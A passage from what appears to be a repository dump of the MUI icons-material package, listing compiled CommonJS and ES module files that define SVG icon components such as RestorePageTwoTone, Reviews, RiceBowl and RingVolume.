opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7.17L18 8.83zm-9.55-9.43L7.28 9.4V13h3.6l-1.44-1.44c.52-1.01 1.58-1.71 2.79-1.71 1.74 0 3.15 1.41 3.15 3.15s-1.41 3.15-3.15 3.15c-1.07 0-2.02-.54-2.58-1.35H8.1c.69 1.58 2.28 2.7 4.12 2.7 2.48 0 4.5-2.02 4.5-4.5s-2.02-4.5-4.5-4.5c-1.59 0-2.97.83-3.77 2.07\"\n}, \"1\")], 'RestorePageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestorePageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 4v16h12V8.83L13.17 4zm10.72 9c0 2.48-2.02 4.5-4.5 4.5-1.84 0-3.43-1.12-4.12-2.7h1.54c.57.81 1.51 1.35 2.58 1.35 1.74 0 3.15-1.41 3.15-3.15s-1.41-3.15-3.15-3.15c-1.21 0-2.27.7-2.79 1.71L10.88 13h-3.6V9.4l1.17 1.17c.8-1.24 2.19-2.07 3.78-2.07 2.48 0 4.49 2.02 4.49 4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7.17L18 8.83zm-9.55-9.43L7.28 9.4V13h3.6l-1.44-1.44c.52-1.01 1.58-1.71 2.79-1.71 1.74 0 3.15 1.41 3.15 3.15s-1.41 3.15-3.15 3.15c-1.07 0-2.02-.54-2.58-1.35H8.1c.69 1.58 2.28 2.7 4.12 2.7 2.48 0 4.5-2.02 4.5-4.5s-2.02-4.5-4.5-4.5c-1.59 0-2.97.83-3.77 2.07\"\n}, \"1\")], 'RestorePageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.25 3c-5.09-.14-9.26 3.94-9.26 9H2.2c-.45 0-.67.54-.35.85l2.79 2.8c.2.2.51.2.71 0l2.79-2.8c.32-.31.09-.85-.35-.85h-1.8c0-3.9 3.18-7.05 7.1-7 3.72.05 6.85 3.18 6.9 6.9.05 3.91-3.1 7.1-7 7.1-1.61 0-3.1-.55-4.28-1.48-.4-.31-.96-.28-1.32.08-.42.43-.39 1.13.08 1.5 1.52 1.19 3.44 1.9 5.52 1.9 5.05 0 9.14-4.17 9-9.26-.13-4.69-4.05-8.61-8.74-8.74m-.51 5c-.41 0-.75.34-.75.75v3.68c0 .35.19.68.49.86l3.12 1.85c.36.21.82.09 1.03-.26.21-.36.09-.82-.26-1.03l-2.88-1.71v-3.4c0-.4-.33-.74-.75-.74\"\n}), 'RestoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.25 3c-5.09-.14-9.26 3.94-9.26 9H2.2c-.45 0-.67.54-.35.85l2.79 2.8c.2.2.51.2.71 0l2.79-2.8c.32-.31.09-.85-.35-.85h-1.8c0-3.9 3.18-7.05 7.1-7 3.72.05 6.85 3.18 6.9 6.9.05 3.91-3.1 7.1-7 7.1-1.61 0-3.1-.55-4.28-1.48-.4-.31-.96-.28-1.32.08-.42.43-.39 1.13.08 1.5 1.52 1.19 3.44 1.9 5.52 1.9 5.05 0 9.14-4.17 9-9.26-.13-4.69-4.05-8.61-8.74-8.74m-.51 5c-.41 0-.75.34-.75.75v3.68c0 .35.19.68.49.86l3.12 1.85c.36.21.82.09 1.03-.26.21-.36.09-.82-.26-1.03l-2.88-1.71v-3.4c0-.4-.33-.74-.75-.74\"\n}), 'RestoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 3.99L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.28-3.52-2.09V8z\"\n}), 'RestoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 3.99L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.28-3.52-2.09V8z\"\n}), 'RestoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 3.99L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.28-3.52-2.09V8z\"\n}), 'RestoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 3.99L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.28-3.52-2.09V8z\"\n}), 'RestoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Reviews.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6.43 9.57L12 15l-1.57-3.43L7 10l3.43-1.57L12 5l1.57 3.43L17 10z\"\n}), 'Reviews');"
  },
  {
    "path": "packages/mui-icons-material/lib/Reviews.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6.43 9.57L12 15l-1.57-3.43L7 10l3.43-1.57L12 5l1.57 3.43L17 10z\"\n}), 'Reviews');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReviewsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 15 1.57-3.43L17 10l-3.43-1.57L12 5l-1.57 3.43L7 10l3.43 1.57z\"\n}, \"1\")], 'ReviewsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReviewsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 15 1.57-3.43L17 10l-3.43-1.57L12 5l-1.57 3.43L7 10l3.43 1.57z\"\n}, \"1\")], 'ReviewsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReviewsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v15.59c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6.43 9.57-1.12 2.44c-.18.39-.73.39-.91 0l-1.12-2.44-2.44-1.12c-.39-.18-.39-.73 0-.91l2.44-1.12 1.12-2.44c.18-.39.73-.39.91 0l1.12 2.44 2.44 1.12c.39.18.39.73 0 .91z\"\n}), 'ReviewsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReviewsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v15.59c0 .89 1.08 1.34 1.71.71L6 18h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6.43 9.57-1.12 2.44c-.18.39-.73.39-.91 0l-1.12-2.44-2.44-1.12c-.39-.18-.39-.73 0-.91l2.44-1.12 1.12-2.44c.18-.39.73-.39.91 0l1.12 2.44 2.44 1.12c.39.18.39.73 0 .91z\"\n}), 'ReviewsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReviewsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20l4-4h16zm-8.43 9.57L12 15l-1.57-3.43L7 10l3.43-1.57L12 5l1.57 3.43L17 10z\"\n}), 'ReviewsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReviewsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20l4-4h16zm-8.43 9.57L12 15l-1.57-3.43L7 10l3.43-1.57L12 5l1.57 3.43L17 10z\"\n}), 'ReviewsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReviewsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zm6.43-8.74L12 5l1.57 3.43L17 10l-3.43 1.57L12 15l-1.57-3.43L7 10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 15 1.57-3.43L17 10l-3.43-1.57L12 5l-1.57 3.43L7 10l3.43 1.57z\"\n}, \"2\")], 'ReviewsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReviewsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zm6.43-8.74L12 5l1.57 3.43L17 10l-3.43 1.57L12 15l-1.57-3.43L7 10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 15 1.57-3.43L17 10l-3.43-1.57L12 5l-1.57 3.43L7 10l3.43 1.57z\"\n}, \"2\")], 'ReviewsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RiceBowl.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25m-2 0h-4V5.08c2.39 1.39 4 3.97 4 6.92m-6-7.74V12h-4V4.26c.64-.16 1.31-.26 2-.26s1.36.1 2 .26M4 12c0-2.95 1.61-5.53 4-6.92V12z\"\n}), 'RiceBowl');"
  },
  {
    "path": "packages/mui-icons-material/lib/RiceBowl.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25m-2 0h-4V5.08c2.39 1.39 4 3.97 4 6.92m-6-7.74V12h-4V4.26c.64-.16 1.31-.26 2-.26s1.36.1 2 .26M4 12c0-2.95 1.61-5.53 4-6.92V12z\"\n}), 'RiceBowl');"
  },
  {
    "path": "packages/mui-icons-material/lib/RiceBowlOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.66 14c-.66 1.92-2.24 3.54-4.4 4.39l-1.26.49V20h-4v-1.12l-1.27-.5c-2.16-.85-3.74-2.47-4.4-4.39h15.33M12 2C6.48 2 2 6.48 2 12c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25 0-5.52-4.48-10-10-10m-2 10V4.26c.64-.16 1.31-.26 2-.26s1.36.1 2 .26V12zm6 0V5.08c2.39 1.39 4 3.96 4 6.92zM4 12c0-2.95 1.61-5.53 4-6.92V12z\"\n}), 'RiceBowlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RiceBowlOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.66 14c-.66 1.92-2.24 3.54-4.4 4.39l-1.26.49V20h-4v-1.12l-1.27-.5c-2.16-.85-3.74-2.47-4.4-4.39h15.33M12 2C6.48 2 2 6.48 2 12c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25 0-5.52-4.48-10-10-10m-2 10V4.26c.64-.16 1.31-.26 2-.26s1.36.1 2 .26V12zm6 0V5.08c2.39 1.39 4 3.96 4 6.92zM4 12c0-2.95 1.61-5.53 4-6.92V12z\"\n}), 'RiceBowlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RiceBowlRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.48-4.4-9.93-9.86-10-3.62-.05-6.85 2.03-8.71 5.14C.1 12.69 2.98 18.27 8 20.25v.25c0 .83.67 1.5 1.5 1.5h5c.83 0 1.5-.67 1.5-1.5v-.25c3.53-1.39 6-4.56 6-8.25m-2 0h-4V5.08c2.39 1.39 4 3.97 4 6.92m-6-7.74V12h-4V4.26c.64-.16 1.31-.26 2-.26s1.36.1 2 .26M4 12c0-2.95 1.61-5.53 4-6.92V12z\"\n}), 'RiceBowlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RiceBowlRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.48-4.4-9.93-9.86-10-3.62-.05-6.85 2.03-8.71 5.14C.1 12.69 2.98 18.27 8 20.25v.25c0 .83.67 1.5 1.5 1.5h5c.83 0 1.5-.67 1.5-1.5v-.25c3.53-1.39 6-4.56 6-8.25m-2 0h-4V5.08c2.39 1.39 4 3.97 4 6.92m-6-7.74V12h-4V4.26c.64-.16 1.31-.26 2-.26s1.36.1 2 .26M4 12c0-2.95 1.61-5.53 4-6.92V12z\"\n}), 'RiceBowlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RiceBowlSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25m-2 0h-4V5.08c2.39 1.39 4 3.97 4 6.92m-6-7.74V12h-4V4.26c.64-.16 1.31-.26 2-.26s1.36.1 2 .26M4 12c0-2.95 1.61-5.53 4-6.92V12z\"\n}), 'RiceBowlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RiceBowlSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25m-2 0h-4V5.08c2.39 1.39 4 3.97 4 6.92m-6-7.74V12h-4V4.26c.64-.16 1.31-.26 2-.26s1.36.1 2 .26M4 12c0-2.95 1.61-5.53 4-6.92V12z\"\n}), 'RiceBowlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RiceBowlTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.66 14c-.66 1.92-2.24 3.54-4.4 4.39l-1.26.49V20h-4v-1.12l-1.27-.5c-2.16-.85-3.74-2.47-4.4-4.39h15.33\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.66 14c-.66 1.92-2.24 3.54-4.4 4.39l-1.26.49V20h-4v-1.12l-1.27-.5c-2.16-.85-3.74-2.47-4.4-4.39h15.33M12 2C6.48 2 2 6.48 2 12c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25 0-5.52-4.48-10-10-10m-2 10V4.26c.64-.16 1.31-.26 2-.26s1.36.1 2 .26V12zm6 0V5.08c2.39 1.39 4 3.96 4 6.92zM4 12c0-2.95 1.61-5.53 4-6.92V12z\"\n}, \"1\")], 'RiceBowlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RiceBowlTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.66 14c-.66 1.92-2.24 3.54-4.4 4.39l-1.26.49V20h-4v-1.12l-1.27-.5c-2.16-.85-3.74-2.47-4.4-4.39h15.33\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.66 14c-.66 1.92-2.24 3.54-4.4 4.39l-1.26.49V20h-4v-1.12l-1.27-.5c-2.16-.85-3.74-2.47-4.4-4.39h15.33M12 2C6.48 2 2 6.48 2 12c0 3.69 2.47 6.86 6 8.25V22h8v-1.75c3.53-1.39 6-4.56 6-8.25 0-5.52-4.48-10-10-10m-2 10V4.26c.64-.16 1.31-.26 2-.26s1.36.1 2 .26V12zm6 0V5.08c2.39 1.39 4 3.96 4 6.92zM4 12c0-2.95 1.61-5.53 4-6.92V12z\"\n}, \"1\")], 'RiceBowlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RingVolume.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.71 16.67C20.66 13.78 16.54 12 12 12S3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.66 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71 0-.27-.11-.52-.29-.7M21.16 6.26l-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M13 2h-2v5h2zM6.4 9.81 7.81 8.4 4.26 4.84 2.84 6.26c.11.03 3.56 3.55 3.56 3.55\"\n}), 'RingVolume');"
  },
  {
    "path": "packages/mui-icons-material/lib/RingVolume.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.71 16.67C20.66 13.78 16.54 12 12 12S3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.66 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71 0-.27-.11-.52-.29-.7M21.16 6.26l-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M13 2h-2v5h2zM6.4 9.81 7.81 8.4 4.26 4.84 2.84 6.26c.11.03 3.56 3.55 3.56 3.55\"\n}), 'RingVolume');"
  },
  {
    "path": "packages/mui-icons-material/lib/RingVolumeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.71 16.67C20.66 13.78 16.54 12 12 12S3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.66 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71 0-.27-.11-.52-.29-.7m-18.31.56c-.66.37-1.29.8-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.39 2.95-1.9v1.7zm15.07 1.26c-.59-.48-1.21-.9-1.87-1.27v-1.7c1.04.51 2.03 